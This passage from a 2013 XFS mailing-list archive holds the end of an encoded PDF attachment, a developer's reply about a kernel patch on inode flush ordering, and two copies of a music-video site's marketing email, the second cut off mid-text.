byBQREYgb3IgSW1hZ2UgaW4gYmF0Y2hlcyE8L3BkZjpLZXl3b3Jkcz48cGRmOlByb2R1Y2VyPk5l ZXZpYSBEb2N1bWVudCBDb252ZXJ0ZXIgUHJvIHY2LjMgKGh0dHA6Ly9uZWV2aWEuY29tKTwvcGRm OlByb2R1Y2VyPjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0n Qzk4MDJBMUMtNjdDMS0xMzNELTc1NDgtMDMwODc1NjIwNzFDJyB4bWxuczp4YXA9J2h0dHA6Ly9u cy5hZG9iZS5jb20veGFwLzEuMC8nPjx4YXA6TW9kaWZ5RGF0ZT4yMDEzLTA3LTIyVDEyOjQwOjU0 LTA1OjAwPC94YXA6TW9kaWZ5RGF0ZT48eGFwOkNyZWF0ZURhdGU+MjAxMy0wNy0yMlQxMjo0MDo1 NC0wNTowMDwveGFwOkNyZWF0ZURhdGU+PHhhcDpNZXRhZGF0YURhdGU+MjAxMy0wNy0yMlQxMjo0 MDo1NC0wNTowMDwveGFwOk1ldGFkYXRhRGF0ZT48eGFwOkNyZWF0b3JUb29sPk1pY3Jvc29mdMKu IFdvcmQgMjAxMzwveGFwOkNyZWF0b3JUb29sPjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2Ny aXB0aW9uIHJkZjphYm91dD0nQzk4MDJBMUMtNjdDMS0xMzNELTc1NDgtMDMwODc1NjIwNzFDJyB4 bWxuczpkYz0naHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8nPjxkYzpmb3JtYXQ+YXBw bGljYXRpb24vcGRmPC9kYzpmb3JtYXQ+PGRjOmRlc2NyaXB0aW9uPjxyZGY6QWx0PjxyZGY6bGkg eG1sOmxhbmc9J3gtZGVmYXVsdCc+PC9yZGY6bGk+PC9yZGY6QWx0PjwvZGM6ZGVzY3JpcHRpb24+ PGRjOmNyZWF0b3I+PHJkZjpTZXE+PHJkZjpsaT48L3JkZjpsaT48L3JkZjpTZXE+PC9kYzpjcmVh dG9yPjxkYzp0aXRsZT48cmRmOkFsdD48cmRmOmxpIHhtbDpsYW5nPSd4LWRlZmF1bHQnPjwvcmRm OmxpPjwvcmRmOkFsdD48L2RjOnRpdGxlPjwvcmRmOkRlc2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0 aW9uIHJkZjphYm91dD0nQzk4MDJBMUMtNjdDMS0xMzNELTc1NDgtMDMwODc1NjIwNzFDJyB4bWxu czp4YXBNTT0naHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyc+PHhhcE1NOkRvY3VtZW50 SUQ+dXVpZDo5MEVDNEYwMC1BQUYwLTg1QUMtRjE3NC1CQjhGNjAxNEJGODY8L3hhcE1NOkRvY3Vt ZW50SUQ+PHhhcE1NOkluc3RhbmNlSUQ+dXVpZDpDOTgwMkExQy02N0MxLTEzM0QtNzU0OC0wMzA4 NzU2MjA3MUM8L3hhcE1NOkluc3RhbmNlSUQ+PC9yZGY6RGVzY3JpcHRpb24+Cgo8L3JkZjpSREY+ CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCjw/eHBhY2tldCBl bmQ9J3cnPz4NCmVuZHN0cmVhbQ0KZW5kb2JqDQp4cmVmDQowIDExOA0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDE3IDAwMDAwIG4NCjAwMDAwMDA2MDYgMDAwMDAgbg0KMDAwMDAwMDY1OSAw MDAwMCBuDQowMDAwMDAwNzEyIDAwMDAwIG4NCjAwMDAwMDIwODIgMDAwMDAgbg0KMDAwMDAwMzY5 MCAwMDAwMCBuDQowMDAwMDA0NzM4IDAwMDAwIG4NCjAwMDAwMDU2MTEgMDAwMDAgbg0KMDAwMDAx NDU2MyAwMDAwMCBuDQowMDAwMDE5NTY5IDAwMDAwIG4NCjAwMDAwMjUyODUgMDAwMDAgbg0KMDAw MDAzMTgzMSAwMDAwMCBuDQowMDAwMDMyMTA3IDAwMDAwIG4NCjAwMDAwMzIzODMgMDAwMDAgbg0K MDAwMDAzMjY2MSAwMDAwMCBuDQowMDAwMDMyOTM5IDAwMDAwIG4NCjAwMDAwMzMxMTIgMDAwMDAg bg0KMDAwMDAzMzM1NCAwMDAwMCBuDQowMDAwMDc3ODQ3IDAwMDAwIG4NCjAwMDAwNzg0MDAgMDAw MDAgbg0KMDAwMDA3ODU3NCAwMDAwMCBuDQowMDAwMDc4ODExIDAwMDAwIG4NCjAwMDAwNzg5Mjgg MDAwMDAgbg0KMDAwMDA3OTEwNiAwMDAwMCBuDQowMDAwMDc5MzUzIDAwMDAwIG4NCjAwMDAxMjE3 ODkgMDAwMDAgbg0KMDAwMDEyMjM0MCAwMDAwMCBuDQowMDAwMTIyNTIwIDAwMDAwIG4NCjAwMDAx MjI3NzEgMDAwMDAgbg0KMDAwMDE1MzU5NiAwMDAwMCBuDQowMDAwMTUzODMxIDAwMDAwIG4NCjAw MDAxNTQwMTQgMDAwMDAgbg0KMDAwMDE1NDI2OSAwMDAwMCBuDQowMDAwMTg1NjI4IDAwMDAwIG4N CjAwMDAxODU3MzUgMDAwMDAgbg0KMDAwMDE4NTg3MCAwMDAwMCBuDQowMDAwMTg1ODk4IDAwMDAw IG4NCjAwMDAxODYwNjEgMDAwMDAgbg0KMDAwMDE4NjEzNSAwMDAwMCBuDQowMDAwMTg2Mzc3IDAw MDAwIG4NCjAwMDAxODY3MjcgMDAwMDAgbg0KMDAwMDE4NzE0MiAwMDAwMCBuDQowMDAwMTg3MzMw IDAwMDAwIG4NCjAwMDAxODc1ODcgMDAwMDAgbg0KMDAwMDIwMDM5OCAwMDAwMCBuDQowMDAwMjAw NTQzIDAwMDAwIG4NCjAwMDAyMDA3MDkgMDAwMDAgbg0KMDAwMDIwMDkzNyAwMDAwMCBuDQowMDAw MjAxNDEwIDAwMDAwIG4NCjAwMDAyMDE1MzggMDAwMDAgbg0KMDAwMDIwMTU2NiAwMDAwMCBuDQow MDAwMjAxNzIyIDAwMDAwIG4NCjAwMDAyMDE3OTYgMDAwMDAgbg0KMDAwMDIwMjA0MSAwMDAwMCBu DQowMDAwMjQ5NjIzIDAwMDAwIG4NCjAwMDAyNDk4MTMgMDAwMDAgbg0KMDAwMDI1MDE5MCAwMDAw MCBuDQowMDAwMjkxNTIxIDAwMDAwIG4NCjAwMDAyOTE2MjggMDAwMDAgbg0KMDAwMDI5MTg4MiAw MDAwMCBuDQowMDAwMjkxOTIxIDAwMDAwIG4NCjAwMDAyOTIzODEgMDAwMDAgbg0KMDAwMDI5MjQ2 MCAwMDAwMCBuDQowMDAwMjkyODI5IDAwMDAwIG4NCjAwMDAyOTI4OTYgMDAwMDAgbg0KMDAwMDI5 MzAwMSAwMDAwMCBuDQowMDAwMjkzMDY4IDAwMDAwIG4NCjAwMDAyOTMxNDcgMDAwMDAgbg0KMDAw MDI5MzIxNCAwMDAwMCBuDQowMDAwMjkzMzcxIDAwMDAwIG4NCjAwMDAyOTM0MzkgMDAwMDAgbg0K MDAwMDI5MzUwNyAwMDAwMCBuDQowMDAwMjkzNjExIDAwMDAwIG4NCjAwMDAyOTM2NzkgMDAwMDAg bg0KMDAwMDI5Mzc0NyAwMDAwMCBuDQowMDAwMjkzODE1IDAwMDAwIG4NCjAwMDAyOTM4ODMgMDAw MDAgbg0KMDAwMDI5Mzk1MSAwMDAwMCBuDQowMDAwMjk0MDMwIDAwMDAwIG4NCjAwMDAyOTQwOTgg MDAwMDAgbg0KMDAwMDI5NDE2NiAwMDAwMCBuDQowMDAwMjk0MjM0IDAwMDAwIG4NCjAwMDAyOTQz MDIgMDAwMDAgbg0KMDAwMDI5NDM3MCAwMDAwMCBuDQowMDAwMjk0NDM4IDAwMDAwIG4NCjAwMDAy OTQ1NDUgMDAwMDAgbg0KMDAwMDI5NDYxMyAwMDAwMCBuDQowMDAwMjk0NjgxIDAwMDAwIG4NCjAw MDAyOTQ3NDkgMDAwMDAgbg0KMDAwMDI5NDgxNyAwMDAwMCBuDQowMDAwMjk0ODg1IDAwMDAwIG4N CjAwMDAyOTQ5NTMgMDAwMDAgbg0KMDAwMDI5NTAyMSAwMDAwMCBuDQowMDAwMjk1MDg5IDAwMDAw IG4NCjAwMDAyOTUxNTcgMDAwMDAgbg0KMDAwMDI5NTIyNSAwMDAwMCBuDQowMDAwMjk1MzI1IDAw MDAwIG4NCjAwMDAyOTUzOTUgMDAwMDAgbg0KMDAwMDI5NTQ2MyAwMDAwMCBuDQowMDAwMjk1NTMx IDAwMDAwIG4NCjAwMDAyOTU2MDAgMDAwMDAgbg0KMDAwMDI5NTY2OSAwMDAwMCBuDQowMDAwMjk1 NzM4IDAwMDAwIG4NCjAwMDAyOTU4MDcgMDAwMDAgbg0KMDAwMDI5NTg3NiAwMDAwMCBuDQowMDAw Mjk1OTU3IDAwMDAwIG4NCjAwMDAyOTYwNTcgMDAwMDAgbg0KMDAwMDI5NjE1MyAwMDAwMCBuDQow MDAwMjk2MjI0IDAwMDAwIG4NCjAwMDAyOTYyOTMgMDAwMDAgbg0KMDAwMDI5NjM2MiAwMDAwMCBu DQowMDAwMjk2NDQzIDAwMDAwIG4NCjAwMDAyOTY1NTAgMDAwMDAgbg0KMDAwMDI5Njg1NiAwMDAw MCBuDQowMDAwMjk2OTE0IDAwMDAwIG4NCjAwMDAyOTY5ODUgMDAwMDAgbg0KMDAwMDI5NzEwMSAw MDAwMCBuDQp0cmFpbGVyDQo8PA0KL1NpemUgMTE4DQovUm9vdCAxMTYgMCBSDQovSW5mbyAxMTMg MCBSDQovSUQgWzxFMUE4Q0U2RjFFRUIxNjE5OUM4RUZFQ0Q3M0Q4MkZGRD48NkE1NjJCOEZENDY0 MkFEOUZBNzNGNTY3RDhEQkMxRjg+XQ0KPj4NCnN0YXJ0eHJlZg0KMjk4OTM3DQolJUVPRg0K ------=_NextPart_000_0008_01CE8703.215DCC50-- ------=_Part_12102_1570509755.1374592532777-- From markus@trippelsdorf.de Tue Jul 23 10:56:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E7367F54 for ; Tue, 23 Jul 2013 10:56:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 88A7A304077 for ; Tue, 23 Jul 2013 08:56:19 -0700 (PDT) X-ASG-Debug-ID: 1374594976-04cbb046901307090001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id LDzOSRNCFVJ849UV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 08:56:17 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=FjvB5pwe58xY5lyUMHj94qpmGd rUqEJZezwdyninfhs=; b=r3la0Eg3Ewmxn6ViqzZuT1Qj+2vHOV4OS8VXuONR+G nr3VjN5qeOww4lLeePBtTTMXu6eOeJz6wpuomC1xbb52opeDGZWi0LSs8gZDTmgt 9QG6efL86cQ2SOVI/AAvn466Y4QvCHIZeBFVMo77zWX8+OPuZSxXOHx2GGNa3BSs o= Received: (qmail 6511 invoked from network); 23 Jul 2013 17:56:16 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 23 Jul 2013 17:56:16 +0200 Date: Tue, 23 Jul 2013 17:56:15 +0200 From: Markus Trippelsdorf To: Ben Myers Cc: Mark Tinguely , xfs-oss , Dave Chinner Subject: Re: [PATCH v2] xfs: di_flushiter considered harmful Message-ID: <20130723155615.GC360@x4> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> <20130722151542.GB365@x4> <51ED8C73.50306@sgi.com> <20130723104259.GB360@x4> <20130723150724.GH3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130723150724.GH3111@sgi.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374594977 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.23 at 10:07 -0500, Ben Myers wrote: > Hi Markus, > > On Tue, Jul 23, 2013 at 12:42:59PM +0200, Markus Trippelsdorf wrote: > > On 2013.07.22 at 14:48 -0500, Mark Tinguely wrote: > > > On 07/22/13 10:15, Markus Trippelsdorf wrote: > > > > On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: > > > >> On 07/22/13 06:07, Markus Trippelsdorf wrote: > > > >>> On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > > > >> It seems to me that since we cannot fix this for inode 1/2, then besides > > > >> this patch we have to revert patch cca9f93a52d and make it inode 3+ / > > > >> superblock 5+ (crc) dependent. > > > > > > > > Which is exactly what the hunk I've posted does. > > > > > > > > Here's the combined patch: > > > > > > Following Dave's instruction to recreate this problem, your patch works > > > with an inode 2 and inode 3 (once I remembered to load the module before > > > recovery). Dave's patch was successful on inode 3 - again after I > > > remembered to load the module before recovery. > > > > > > Whomever makes the formal patch, consider it reviewed-by me. > > > > To get this patch to Linus ASAP, here's the combined patch again. > > Please apply. > > Thanks. > > I'd prefer to have Dave take another look at the combined patch before pulling > this in. Even so, we shouldn't have any trouble getting this into -rc3. Ok, understood. I'll let Dave handle the rest. BTW the comment above xfs_iread() probably needs an update, too. -- Markus From bounce-mc.us7_18889475.80213-linux-xfs=oss.sgi.com@mail139.atl21.rsgsv.net Tue Jul 23 11:00:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6069C7F56 for ; Tue, 23 Jul 2013 11:00:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50265304077 for ; Tue, 23 Jul 2013 09:00:55 -0700 (PDT) X-ASG-Debug-ID: 1374595252-04cbb0469013077a0001-w1Z2WR Received: from mail139.atl21.rsgsv.net (mail139.atl21.rsgsv.net [205.201.133.139]) by cuda.sgi.com with ESMTP id L7xmAXYdKiW45gIl for ; Tue, 23 Jul 2013 09:00:52 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80213-linux-xfs=oss.sgi.com@mail139.atl21.rsgsv.net X-Barracuda-Apparent-Source-IP: 205.201.133.139 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail139.atl21.rsgsv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3Dthedailyrocker.com@mail139.atl21.rsgsv.net; bh=RHSS3rk+RzpdKBetVCYkapG+mT4=; b=G947+qBz8fyucBMI/Eh8Y6hCuxCxwkl5sWXYW+83D5GhoWdXCJMVUZfb3uYQJ1dF3WAaVXEf3TRb LqLmPFkDbiuO10fgEj7Mooz/tA9WNzMqF3GS+8fLHdwylV0JB1sBrtgVEZc/z6+JdNNjdZqspGE7 3vFpZfkS3rX8ps7c5yo= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail139.atl21.rsgsv.net; b=1z+BkXtb6YOhFPpQS80B5qiLBBBxOJLfNCp4EXWD0yNjbjUqRxTLnP24vOLblkNfo7OymHO7V9KN tfiQR9RiJ6jp/emdLtB0bAyyIuk7tucXVX8Ty+bTpMJ2gc2SHbfD142AfawH3O+6hS0sVdggXL66 31G24+kEdfa+PHOsGqc=; Received: from (127.0.0.1) by mail139.atl21.rsgsv.net (PowerMTA(TM) v3.5r16) id htqkba1lgi4h for ; Tue, 23 Jul 2013 16:00:48 +0000 (envelope-from ) Subject: =?utf-8?Q?New=20Streaming=20Music=20Video=20Site=20Features=201000=27s=20Of=20Non=2DStop=20Stations=20and=20FB=20chat?= From: =?utf-8?Q?The=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?New=20Streaming=20Music=20Video=20Site=20Features=201000=27s=20Of=20Non=2DStop=20Stations=20and=20FB=20chat?= Reply-To: =?utf-8?Q?The=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 16:00:48 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDd26a5b1e406e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.d26a5b1e40 X-campaignid: mailchimpcff25387938a97b0fd838f920.d26a5b1e40 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=d26a5b1e40&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "The Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_466918413" MIME-Version: 1.0 X-Barracuda-Connect: mail139.atl21.rsgsv.net[205.201.133.139] X-Barracuda-Start-Time: 1374595252 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_466918413 Content-Type: text/plain; charset="utf-8"; format="fixed" Content-Transfer-Encoding: quoted-printable Use this area to offer a short preview of your email's content. View this email in your browser (http://us7.campaign-archive2.com/?u=3Dcff= 25387938a97b0fd838f920&id=3Dd26a5b1e40&e=3D6e97603da8) ** New Music Video Site THE DAILY ROCKER Launches With Thousands Of Non-St= op Stations and Facebook Chat ------------------------------------------------------------ ** Hand picked programming and a wild edgy brand gives users a daily fix o= f music videos while letting them chat with their facebook friends. ------------------------------------------------------------ LOS ANGELES, CA - Miss the days of MTV, where you didn=E2=80=99t have to c= lick after every song? Wish you could choose a genre, kick back and chat w= ith FB friends as the music videos play all day long? Well, your prayers a= re now answered. Today The Daily Rocker launches with - * No digging through interviews and crappy concert footage. Just music vid= eos twenty four hours a day seven days a week. * Hours of daily music video programming, hand picked and compiled by real= humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads= and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRO= NIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning= the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female ar= tists with bold voices * Thousands of Artist Stations that automatically send users from one like= minded artist to the next, allowing them to watch videos all day while ge= tting stuff done * New music videos added daily with constantly rotating playlists allow us= ers to keep up with current music while hearing their favorite tunes * The ability to chat with facebook friends while watching music videos un= interrupted Funny Fact: * The Daily Rocker's July 23rd launch opens with The Limousines "Internet= Killed The Video Star" as a not-so-subtle jab at MTV, who launched over t= wo decades ago and no longer shows regular music video programming. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/u= nsubscribe?u=3Dcff25387938a97b0fd838f920&id=3D9052594378&e=3D6e97603da8&c=3D= d26a5b1e40) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.= com/profile?u=3Dcff25387938a97b0fd838f920&id=3D9052594378&e=3D6e97603da8) --_----------=_MCPart_466918413 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable New Streaming Music Video Site Features 1000's Of Non-Stop= Stations and FB chat
    =09
    Use this area to offer a short preview of your= email's content.
    View this email in your browser

    =09New Music Video Site THE DAILY ROCKER Launches With Thousands Of Non-St= op Stations and Facebook Chat

    =09
    =09Hand picked programming and a wild edgy brand gives users a daily fix o= f music videos while letting them chat with their facebook friends.  =  

    =09
    =09LOS ANGELES, CA - Miss the days of MTV, where you didn=E2=80=99t have t= o click after every song? Wish you could choose a genre, kick back and cha= t with FB friends as the music videos play all day long? Well, your prayer= s are now answered.
    =09 

    =09Today The Daily Rocker launches with - 

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted

    =09 

    =09Funny Fact:

      =09
    • =09=09The Daily Rocker's July 23rd launch opens with The Limousines "Inter= net Killed The Video Star" as a not-so-subtle jab at MTV, who launched ove= r two decades ago and no longer shows regular music video programming.
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this email because you opted in to our music marketi= ng efforts

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

    --_----------=_MCPart_466918413-- From bounce-mc.us7_18889475.80213-xfs=oss.sgi.com@mail139.atl21.rsgsv.net Tue Jul 23 11:00:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 81EFC7F59 for ; Tue, 23 Jul 2013 11:00:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0034AAC005 for ; Tue, 23 Jul 2013 09:00:57 -0700 (PDT) X-ASG-Debug-ID: 1374595252-04cbb0469013077a0002-NocioJ Received: from mail139.atl21.rsgsv.net (mail139.atl21.rsgsv.net [205.201.133.139]) by cuda.sgi.com with ESMTP id jdnzNsFBOAzcDtMb for ; Tue, 23 Jul 2013 09:00:55 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80213-xfs=oss.sgi.com@mail139.atl21.rsgsv.net X-Barracuda-Apparent-Source-IP: 205.201.133.139 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail139.atl21.rsgsv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3Dthedailyrocker.com@mail139.atl21.rsgsv.net; bh=48kUrpJbNJdoTK8Mw+ME9axX9Xk=; b=u3fpJg1/6N+jdHqzfuK45RlhjLXPPGEDnsgYryky8mTeeFjQ1pYaUPPq0cUo0amOToXqgKRtT7OH 8NLolVljpgkj1LSV38YPoLJRnVPYDcnDv2KMMkM1inKkiU/3i9ilCT0F2Xv87g3CEHqligkCwFyp Lf/rv4aEhRDFFBCyoic= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail139.atl21.rsgsv.net; b=PRe4mvD/wacpan2Xgl/6NCKLqHcqCcQva3Wg76Uoln2EK5mqnA9X1ZGa2UAqlk+kHgdh9DojJQ0C ZNqg8U0gg/SJW/3lMCYbS1Re7wHi6bxe47UHYjB81MOhI9XktMzpvckQuiBrxt5F962Z1qNHbf+p yhSN3NaIbDFye8svSYs=; Received: from (127.0.0.1) by mail139.atl21.rsgsv.net (PowerMTA(TM) v3.5r16) id htqkbe1lgi4l for ; Tue, 23 Jul 2013 16:00:48 +0000 (envelope-from ) Subject: =?utf-8?Q?New=20Streaming=20Music=20Video=20Site=20Features=201000=27s=20Of=20Non=2DStop=20Stations=20and=20FB=20chat?= From: =?utf-8?Q?The=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?New=20Streaming=20Music=20Video=20Site=20Features=201000=27s=20Of=20Non=2DStop=20Stations=20and=20FB=20chat?= Reply-To: =?utf-8?Q?The=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 16:00:48 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDd26a5b1e4095f7364ac1** X-Campaign: mailchimpcff25387938a97b0fd838f920.d26a5b1e40 X-campaignid: mailchimpcff25387938a97b0fd838f920.d26a5b1e40 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=d26a5b1e40&e=95f7364ac1 x-accounttype: pd List-Unsubscribe: , Sender: "The Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_466918413" MIME-Version: 1.0 X-Barracuda-Connect: mail139.atl21.rsgsv.net[205.201.133.139] X-Barracuda-Start-Time: 1374595253 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_466918413 Content-Type: text/plain; charset="utf-8"; format="fixed" Content-Transfer-Encoding: quoted-printable Use this area to offer a short preview of your email's content. View this email in your browser (http://us7.campaign-archive2.com/?u=3Dcff= 25387938a97b0fd838f920&id=3Dd26a5b1e40&e=3D95f7364ac1) ** New Music Video Site THE DAILY ROCKER Launches With Thousands Of Non-St= op Stations and Facebook Chat ------------------------------------------------------------ ** Hand picked programming and a wild edgy brand gives users a daily fix o= f music videos while letting them chat with their facebook friends. ------------------------------------------------------------ LOS ANGELES, CA - Miss the days of 